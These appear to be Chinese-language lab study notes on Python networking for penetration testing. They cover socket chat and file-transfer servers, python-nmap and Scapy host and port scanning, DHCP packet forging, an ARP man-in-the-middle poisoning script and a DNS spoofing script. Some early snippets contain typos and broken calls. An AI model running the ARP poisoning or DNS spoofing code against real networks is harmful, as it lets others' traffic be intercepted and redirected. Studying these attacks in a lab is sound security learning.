socket:可以用来实现不同虚拟机或者不同计算机之间的通信。
socket常用函数:
sock.bind(host,port) //host可接受client范围,以及连接的端口
sock.listen()//sever开启监听连接
sock.accpet()//返回 sock,addr 用来接受和发送数据 addr是client连接方地址
sock.connect(address) //连接目标
sock.send() //发送数据
sock.recv(1024)//接受数据1024为一次接受数据的大小
sk.getpeername()//返回client的地址
sock.close()//关闭连接
socket基础实验:
sever端:
核心思想:先建立sever端连接再利用while循环接受client端发来的信息,当接受到退出信息或者
发送退出信息时,终止通信
import socket
sever = sever.soket.soket() //创建连接实例
sever.bing(('0.0.0.0',8000)) //0.0.0.0代表接受所有端口
sever.listen()
sock,addr = sever.accept()
while True:
data_recv = sock.recv(1024)
print(f'Client:{data_recv.decode()}')//接受的信息需要用decode进行解码
if data_recv.decode() == 'quit':
break
scanf = input('Sever:')
sock.send(scanf.encode()) //发送信息需要用encode转换
if scanf == 'gun':
break
sock.close()
sever.close()
client端:
import socket
client = socket.socket()
client.connect(('127.0.0.1',8000)) //127.0.0.1代表本机地址
while True:
scanf = input('Client:')
client.send(scanf.encode())
if scanf == 'quit':
break
data_rev = client.recv(1024)
print(f'Sever:{data_rev.decode()}')
if data_rev.decode() == 'gun':
break
client.close()
socket使用多线程实现多用户访问
import socket
import threading //多线程包
sever = socket.socket()
sever = bing(('0.0.0.0',8000))
sever.listen()
def handle_sock(sock,addr): //连接主体函数
while True:
data_rev = sock.recv(1024)
print(f'{data_rev.decode()}')
if data_rev.decode() == 'bye':
sock.send('quit'.encode())
sock.close()
break
scanf = input('Sever:')
sock.send(scanf.encode())
if scanf == 'quit':
break
while True:
sock,addr = sever.accepct()
Thread = threading.Thread(taget = handle_sock,args=(sock,addr)) //开启多线程
Thread.start()
Client1:
import socket
client = socket.socket()
client.connect(('127.0.0.1',8000))
while True:
reply_data = input('# ')
if reply_data == 'bye':
client.send(reply_data.encode())
else:
client.send(f'Client_01: {reply_data}'.encode())
data = client.recv(1024)
if data.decode() == 'quit':
break
print(f'Server: {data.decode()}')
client.close()
Client2:
import socket
client = socket.socket()
client.connect(('127.0.0.1', 8000))
while True:
reply_data = input('# ')
if reply_data == 'bye':
client.send(reply_data.encode())
else:
client.send(f'Client_02: {reply_data}'.encode())
data = client.recv(1024)
if data.decode() == 'quit':
break
print(f'Server: {data.decode()}')
client.close()
dir功能的实现
os.path.split():返回一个路径的目录名和文件名
os.listdir(dirname):列出dirname下的目录和文件
from socket import *
import os
import sys
import time
server = socket()
server.bind(('0.0.0.0', 8000))
server.listen()
sock, addr = server.accept()
while True:
data = sock.recv(1024)
if data.decode() == 'quit':
break
elif data.decode() == 'dir':
files = os.listdir(sys.path[0]) # 以列表的方式显示当前目录的文件
for file in files:
sock.send(bytes(f'{file}\n', encoding='utf-8'))
time.sleep(1)
sock.send(bytes('EOF', encoding='utf-8'))
sock.close()
server.close()
客户端代码:
from socket import *
client = socket()
client.connect(('127.0.0.1', 8000))
while True:
client_command = input('>>> ')
if not client_command:
continue
elif client_command == 'quit':
client.send(bytes(client_command, encoding='utf-8'))
break
client.send(bytes(client_command, encoding='utf-8'))
while True:
data = client.recv(1024)
if data == bytes('EOF', encoding='utf-8'):
break
print(data.decode())
client.close()
get功能的实现(传输文件)
import socket
import time
server = socket.socket()
server.bind(('0.0.0.0', 8000))
server.listen()
sock, addr = server.accept()
data_rev = sock.recv(1024)
command = data_rev.decode().split() //分割接受到的命令 get xxx.txt
file = command[1] //获取第二位的文件名
with open(file,'r') as fn:
while True:
data = fn.read(4096)
if not data: //如果数据空了就终止读取
break
sock.send(data.encode())
time.sleep(1)
sock.send('End'.encode())
客户端:
import socket
client = socket.socket()
client.connect(('127.0.0.1', 8000))
scanf = input('Client:')
command = scanf.split()
file = f'{command[1]}.txt'
client.send(scanf.encode())
with open(file,'wb')as fn:
while True:
data = client.recv(4096)
if data.decode() =='End': //边接受边写入直到收到End终止
break
fn.write(data)
fn.close()
Nmap:最常用的检测工具
nmap有如下主要功能:
• 主机发现功能:向目标发送信息,根据目标的反应来确定是否处于开机并联网的状态
• 端口扫描:向计算机的指定端口发送信息,然后根据目标端口的反应来判断是否开放
• 服务版本检测:向目标设备的目标端口发送特定的信息,然后根据反应检测它运行服务的服务类型和版本
• 操作系统检测
1.1查询某网段主机
import nmap
nm = nmap.PortScanner() #先建立实例连接
nm.scan('192.168.164.0/24','22','-sV')
a = nm.all_hosts()
print(a)
1.2查询主机端口运行协议
import nmap
nm = nmap.PortScanner()
nm.scan('192.168.164.0/24','80')
a = nm['192.168.164.188'].all_protocols()
print(a)
其他各种查询
nm.all_hosts() //获取所有主机
nm[‘192.168.88.133’].hostname() #获取192.168.88.133的主机名,通常为用户记录
nm[‘192.168.88.133’].state()#获取主机192.168.88.133的状态(up|down|unknown|skipped)
nm[‘192.168.88.133’].all_protocols()#获取执行的协议[‘tcp’,’udp’]包含(IP|TCP|UDP|SCTP)。
nm[‘192.168.88.133’].[‘tcp’].keys()#获取TCP所有的端口号。
nm[‘192.168.88.133’].all_tcp()#获取TCP所有的端口号(按照端口号大小进行排序)
nm[‘192.168.88.133’].all_udp()#获取UDP所有的端口号(按照端口大小进行排序)
nm[‘192.168.88.133’].all_sctp()#获取SCTP所有的端口号(按照端口号大小进行排序)
nm[‘192.168.88.133’].has_tcp(22)#主机192.168.88.133是否有关22端口的任何信息
nm[‘192.168.88.133’].[‘tcp’][22]#获取主机192.168.88.133关于22端口的信息
nm[‘192.168.88.133’].tcp(22)#获取主机192.168.88.133关于22端口的信息
nm[‘192.168.88.133’].[‘tcp’][22][‘state’]#获取主机22端口的状态(open)
nm.still_scanning():如果扫描正在进行,则返回true,否则返回False
nm.wait(2) 表示等待时间
nm.stop() 表示停止当前扫描
2.1基于ARP的活跃主机发现技术
当目标主机和扫描主机在同一网段的以太网时,利用ARP进行扫描是最好的选择,扫描的过程如下:
第一步:向目标发送一个ARP Request
第二步:如果目标主机是active状态,一定会回复arp reply
第三步:如果目标主机是inactive状态,就不会出现任何回应
import sys
import nmap
if len(sys.argv) != 2:
print("sb")
sys.exit(1)
sr = sys.argv[1]
nm = nmap.PortScanner()
nm.scan(sr,arguments='-sn -PR')
#sn表示ping扫描,PR表示ARP主机发现
for host in nm.all_hosts():
print(host)
print(nm[host].state())
2.2基于ICMP的活跃主机发现技术
ICMP报文分为两大类:差错报文和查询报文。其中查询报文是由一个请求和一个应答构成。只要向目标发送一个请求报文,如果收到来自目标的回应,可以判断是活跃主机,反之则是非活跃主机。
import sys
import nmap
if len(sys.argv) != 2:
print("sb")
sys.exit(1)
sr = sys.argv[1]
nm = nmap.PortScanner()
nm.scan(sr,arguments='-sn -PE')
#sn表示ping扫描,PR表示ARP主机发现
for host in nm.all_hosts():
print(host)
print(nm[host].state())
2.3基于TCP的活跃主机发现技术
通过向一台主机的某个端口发送SYN,如果这个端口是打开的,将收到SYN+ACK的回复,如果这个端口是关闭的,我们也将收到”RST“的回复,也就是说,不论端口是否打开,我们都能确定这个主机是活跃的,
除非收不到任何消息,说明这个主机是不活跃的。
import nmap
import sys
if len(sys.argv) != 2:
print('sb')
exit(1)
sr = sys.argv[1]
nm = nmap.PortScanner()
nm.scan(sr,arguments='-sT') #-PU 为UDP扫描
for host in nm.all_hosts():
print(host)
print(nm[host].state())
2.4基于TCP半开的端口扫描技术
对于TCP三次握手而言,在目标返回一个SYN+ACK类型的数据包之后,已经达到了探测的目的,最后发送的ACK类型数据包不是必须的,于是就产生了一种新的扫描技术,这种扫描技术的思路比较简单,即如果目标端口是开放的,那么在收到主机端口发出的SYN请求之后,就会返回一个SYN+ACK回应,新的思路
是不回ACK,而是发一个RST表示终端这个连接,由于并没有建立好完整的TCP连接,所以称为半开。
在半开扫描过程中,如果设备上可能采用了包过滤机制,导致端口不提供任何信息,或者响应ICMP错误
信息,更多的时候是没有响应。
import nmap
import sys
if len(sys.argv) != 3:
print("格式为: python3 hello.py <ip> <port>\n例如: python3 hello.py 192.168.79.133 80")
sys.exit(1)
target = sys.argv[1]
port = sys.argv[2]
nm = nmap.PortScanner()
nm.scan(target,port)
for host in nm.all_hosts():
print('='*30)
print(f"Host: {host}") #主机层
print(f"State: {nm[host].state()}") #主机是否活跃
for proto in nm[host].all_protocols():
print('='*30)
print(f'Protocol: {proto}') #主机开启的协议层
list_ports = list(nm[host][proto].keys())
for port in list_ports:
print(f"port: {port}") #开启协议的端口层
for k,v in nm[host][proto][port].items(): #将端口信息转化为可输出的键值对
print(f'{k}: {v}')
2.5服务扫描
除了操作系统之外,设备上运行的应用程序,或多或少存在一些漏洞,攻击者可能会利用这些漏洞进行入侵,所以,在对目标进行渗透测试前,要尽量检测出目标系统运行的各种服务,并能提前发现漏洞,
从而防止入侵行为的发生。
import nmap
import sys
from SAOMIAO.Nsm import list_ports
from SOCKET.Tsever1 import scanf
target = sys.argv[1]
port = sys.argv[2]
nm = nmap.PortScanner()
nm.scan(target,port,'-sV')
for host in nm.all_hosts():
for proto in nm[host].all_protocols():
list_port = list(nm[host][proto].keys())
for port in list_port:
print(f'port:{port}\nproduct:{nm[host][proto][port]["product"]}')#解析包得到
Scapy模块
Scapy是一个强大的交互式数据包处理程序,能够对数据包进行伪造或者解包,包括发送数据包,包嗅探、应答和反馈匹配等功能。可以用在处理网络扫描、路径跟踪、服务探测、单元测试等方面,可以实现TCP协议方式对服务可用性的探测。
1.1 LS()查看数据报文详情
from scapy.layers.inet import IP
from scapy.packet import ls
pkt = IP(dst='192.168.164.188')
ls(pkt)
1.2 summary()简略查看报文 show()展开图查看
from scapy.layers.inet import IP
pkt = IP(dst='192.168.164.188')
print(pkt.summary())
2.1在scapy中发送和接收数据包
sapy提供了多个用于完成发送数据包的函数,首先是send()和sendp(),send()函数用来发送IP数据包,sendp()用来发送Ether数据包。
from scapy.layers.inet import IP, ICMP
from scapy.sendrecv import send
pkt = IP(dst='192.168.164.188')/ICMP()
send(pkt)
#sudo python3 scapy1.py 在终端运行
以上我们构建了一个数据包,并将其进行了发送,scapy还提供了接收这个包的应答数据包的函数,scapy提供了3个用来发送并接收数据包的函数,分别是sr(),sr1(),srp(),其中sr()和sr1()主要用于IP地址,而srp()用于MAC地址。
from scapy.layers.inet import IP, ICMP
from scapy.sendrecv import sr
pkt = IP(dst='192.168.164.188')/ICMP()
ans,uans = sr(pkt)
ans.summary()
#sr只有应答报文所以要分析包
from scapy.layers.inet import IP, ICMP
from scapy.sendrecv import sr1
pkt = IP(dst='192.168.164.188')/ICMP()
ans = sr1(pkt)
print(ans.show()) #分析ans报文进行如下for循环
for i in ans:
sor = i.src
dip = i.dst
print(f'sour_ip:{sor},dst_ip:{dip}')
scapy模块中的抓包函数(sniff())
完整格式为sniff(filter="", iface="any", prn=function, count=N),
第一个参数是filter表示可以对数据包进行过滤,例如只捕获与1.1.1.1有关的数据包:
sniff(filter="host 1.1.1.1")
为了实现对数据包的精确过滤,我们采用一种叫伯克利包(Berkelay Packet Filter,BPF)过滤的机制,利用这种机制,可以确定保留哪些数据包以及忽略哪些数据包。BPF这种接近自然语言的语法,通常是由一个或者多个原语组成,每个原语又由一个标识符(名称或者数字)组
成,后面跟着一个或者多个限定符。
BPF包过滤中限定符有三种:
➢ Type:这种限定符表示指代的对象,例如IP地址、子网或者端口等
➢ Dir:这种限定符表示数据传输的方向,常见的有src(源地址)和dst(目的地址),若未指定则表示”src or dst“
➢ Proto:这种限定符表示与数据包匹配的协议类型,常见的有Ether、IP、TCP、ARP等
第二个参数iface用来指定要使用的网卡,默认为第一块网卡
第三个参数prn表示对捕获到的数据包进行处理的函数,可以使用lambda表达式,例如如需将捕获到的数据进行输出,可以使用如下方式:
sniff(filter='icmp', prn=lambda x : x.summary())
第四个参数count用来指定监听到数据包的数量,达到指定的数量就会停止监听,例如期望监听到10个数据包就停止监听:sniff(count=10)
3.1基本数据报文
from scapy.all import sniff
ans = sniff(filter='icmp and host 192.168.164.188',count=1,iface='eth0', prn=lambda x: x.summary())
#开启监听后等待对应报文发送
3.2通过scapy构造一个DNS查询报文
尝试查询www.baidu.com的IP地址,DNS服务器地址是:114.114.114.114
from scapy.config import conf
from scapy.layers.dns import DNS, DNSQR, DNSRR
from scapy.layers.inet import IP, UDP
from scapy.sendrecv import sr, sr1
conf.verb = 0 //过滤信息
domain_name = input('pls input domain name: ')
pkg = IP(dst='8.8.8.8')/UDP()/DNS(rd=1, qd=DNSQR(qname= domain_name))
ans= sr1(pkg)
print(f'域名{domain_name}的IP地址是:')
for i in range(ans[DNS].ancount): //ancount就是计数
if str(ans[DNSRR][i].rdata)[0].isdigit(): //判断是否为全数字地址(包含其他信息)
print(ans[DNSRR][i].rdata) //rdata保存着域名地址或者域名
3.3实现TCP端口扫描
可通过scapy进行简单的TCP开放端口扫描来获知网络中的设备。例如,我们可以发送一个TCP SYN数据报文,看看网络设备是否有SYN-ACK。
from scapy.all import *
from scapy.layers.inet import TCP, IP
def tcp(ip,port):
pkg = sr1(IP(dst=ip)/TCP(sport=6666,dport=port,flags='S'))
resp = pkg[TCP].flags # 查看报文格式得到
if resp == 'SA':
return 'yes'
if resp =='RA':
return 'no'
if __name__ == "__main__":
ip = sys.argv[1]
port = int(sys.argv[2])
print(tcp(ip,port))
3.4使用python的scapy组件编写一个完整的ARP扫描程序
import sys
from scapy.layers.l2 import Ether, ARP
from scapy.sendrecv import srp
pdst = sys.argv[1] #ip地址
ans,uans = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=pdst),timeout=2) #6ff广播
for snd ,rcv in ans:
print(f'{pdst}')
print(rcv.sprintf("MAC:%Ether.src%--->IP:%ARP.psrc%"))#%Ether.src%转意字符
3.5使用python的scapyICMP的活跃主机发现技术
import sys
from scapy.layers.inet import ICMP, IP
from scapy.sendrecv import sr
pdst = sys.argv[1]
ans,uans = sr(IP(dst=pdst)/ICMP())
for snd ,rcv in ans:
print(rcv.sprintf("%IP.src%"))
DHCP渗透测试攻击
DHCP的工作原理与流程
(1)客户端在局域网内发起一个DHCP Discover报文
(2)接收到DHCP Discover报文的服务器会向请求的客户端发送一个DHCP Offer报文
(3)客户端会广播一个DHCP Request,用来声明已选用的服务器端和IP地址
(4)服务器端在接收到客户端广播的DHCP Request报文后,会判断报文中的IP地址是否为自己分配的地址,如果是,则向客户端发送一个响应的DHCP ACK报文。
4.1DHCP Discover数据包的构造
DHCP采用UDP作为传输协议,DHCP客户端发送请求消息到DHCP服务端的67号端口,DHCP服务端回应的应答消息给DHCP客户端的68端口。DHCP客户端以广播形式发送DHCP Discover数据包
import binascii
import random
from scapy.layers.dhcp import BOOTP, DHCP
from scapy.layers.inet import IP, UDP
from scapy.layers.l2 import Ether
from scapy.sendrecv import sendp
from scapy.volatile import RandMAC
xid_random = random.randint(1,90000000) #产生一个随机的整数,作为xid
mac_random = str(RandMAC()) #产生随机的MAC地址
client_mac_id = binascii.unhexlify(mac_random.replace(":","")) #将MAC地址中的冒号去除,然后转换成二进
制数据
ether_discover = Ether(src=mac_random, dst='ff:ff:ff:ff:ff:ff') #构造链路层报文(目标是广播地址)
ip_discover = IP(src='0.0.0.0',dst='255.255.255.255') #构造网络层报文(自身没地址,目标也广播)
udp_discover = UDP(sport=68, dport=67) #构造传输层报文(服务器67自己68)
bootp_discover = BOOTP(chaddr=client_mac_id,xid=xid_random)#构造应用层的BOOTP报文(要用转换后的Mac地址)
dhcp_scapy_discover = DHCP(options=[('message-type','discover'), 'end']) #构造应用层的DHCP报文
dhcp_discover = ether_discover/ip_discover/udp_discover/bootp_discover/dhcp_scapy_discover #构造完整的
dhcp discover报文
sendp(dhcp_discover, iface='eth1') #由于此时客户端没有IP地址,所以需要使用sendp()函数,iface是本机
的网卡名
print('\n\n\nSending DHCPDISCOVER ON eth1......')
第一条就是discover广播
基于ARP的渗透攻击测试
ARP是地址解析协议,主要功能是将IP地址解析成MAC地址,这个过程是很高效的,但这个过程在设计的
时候没有考虑到安全的问题,所以存在以下几个方面的安全问题:
(1)ARP请求数据报文是以广播方式发送的,所以ARP回应报文是可以伪造的,同时还可发送大量的
ARP请求包,导致网络运行效率下降直至瘫痪。
(2)ARP是无状态的,可以伪造大量的回应报文,覆盖ARP表
(3)ARP表在设备上是动态更新的,所以设备收到ARP回应报文后,就会无条件更新ARP表中的内容
(4)ARP是没有认证的,所以只要ARP表中有IP/MAC映射关系,设备都会认为是可信任的
5.1获取多网卡MAC地址的方法
import psutil
info_nic = psutil.net_if_addrs() #获取后先是网卡 值是网卡的各种信息
nic_macs = {}
for nic_name ,info_nic in info_nic.items():
for info in info_nic: #所以要在各种网卡内的信息里查询到mac地址
if info.family.name == 'AF_PACKET': #在这个后面的addres就是mac地址
nic_macs[nic_name] = info.address
print(nic_macs)
python3 test.py #运行方式
5.2Arp中间人毒性攻击
import os
import psutil
from scapy.layers.l2 import Ether, getmacbyip, ARP
from scapy.sendrecv import sendp
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
def multi_nics():
dic = psutil.net_if_addrs() #获取网卡信息,格式为字典
print('This pc has NIC:')
for adapter in dic.keys(): #获取网卡的名称,格式为列表
print(adapter, end='\t')
print('\n' + '=' * 30)
adapter_user = input('pls input the name of adapter: ')#选择网卡的名称
for snic in dic[adapter_user]:#读取网卡的信息
if snic.family.name == 'AF_PACKET': #判断网卡信息中是否包含硬件地址
local_mac = snic.address #读取MAC地址
return local_mac
if __name__ == "__main__":
while True:
dst_ip = input('目标IP地址:') #被攻击的主机地址
dst_mac = getmacbyip(dst_ip)
arp_des_ip = input('ARP包中的IP地址:') #另一台主机的地址
self_mac = multi_nics()
eth = Ether(dst=dst_mac)
arp = ARP(op=2, hwsrc=self_mac, psrc=arp_des_ip, hwdst=dst_mac, pdst=dst_ip)
sendp(eth / arp, iface='eth1', count=2)
conn = input('continue?(yes/no) ')
if conn == 'no':
break
基于DNS的渗透测试
cloud2(kail)首先启用arp毒化 R1 和cloud1 监听数据传输
然后R2 开启http等服务
再运行下列代码
from scapy.layers.dns import DNS,DNSRR
from scapy.layers.inet import IP,UDP
from scapy.sendrecv import send,sniff
def dns_spoof(pkg):
name_spoof_list = ['www.baidu.com'] #定义域名列表
if pkg.haslayer(DNS) and pkg.getlayer(DNS).qr == 0: #判断捕获的数据报文是否为DNS的查询
#1是应答
ip = pkg.getlayer(IP) #提取捕获报文的IP层
udp = pkg.getlayer(UDP) #提取捕获报文的UDP层
dns = pkg.getlayer(DNS) #提取捕获报文的DNS层
get_domain_name = dns.qd.qname.decode()[:-1]
if get_domain_name in name_spoof_list:#请求解析的地址在地址池里再构造回应报文
resp_ip = IP(src=ip.dst, dst=ip.src) #构造DNS的相应报文的IP层,与查询报文相反
resp_udp = UDP(sport=udp.dport, dport=udp.sport)
resp_dns = DNS(id=dns.id, qr=1, qd=dns.qd, an=DNSRR(rrname=dns.qd.qname, rdata='10.1.1.101'))#dns回复是DNSRR 请求时DNSQR
resp = resp_ip/resp_udp/resp_dns
send(resp, iface='eth1')
print(f'域名{dns.qd.qname.decode()}的ip地址已经被改为10.1.1.101')
sniff(filter='udp dst port 53', iface='eth1', prn=dns_spoof)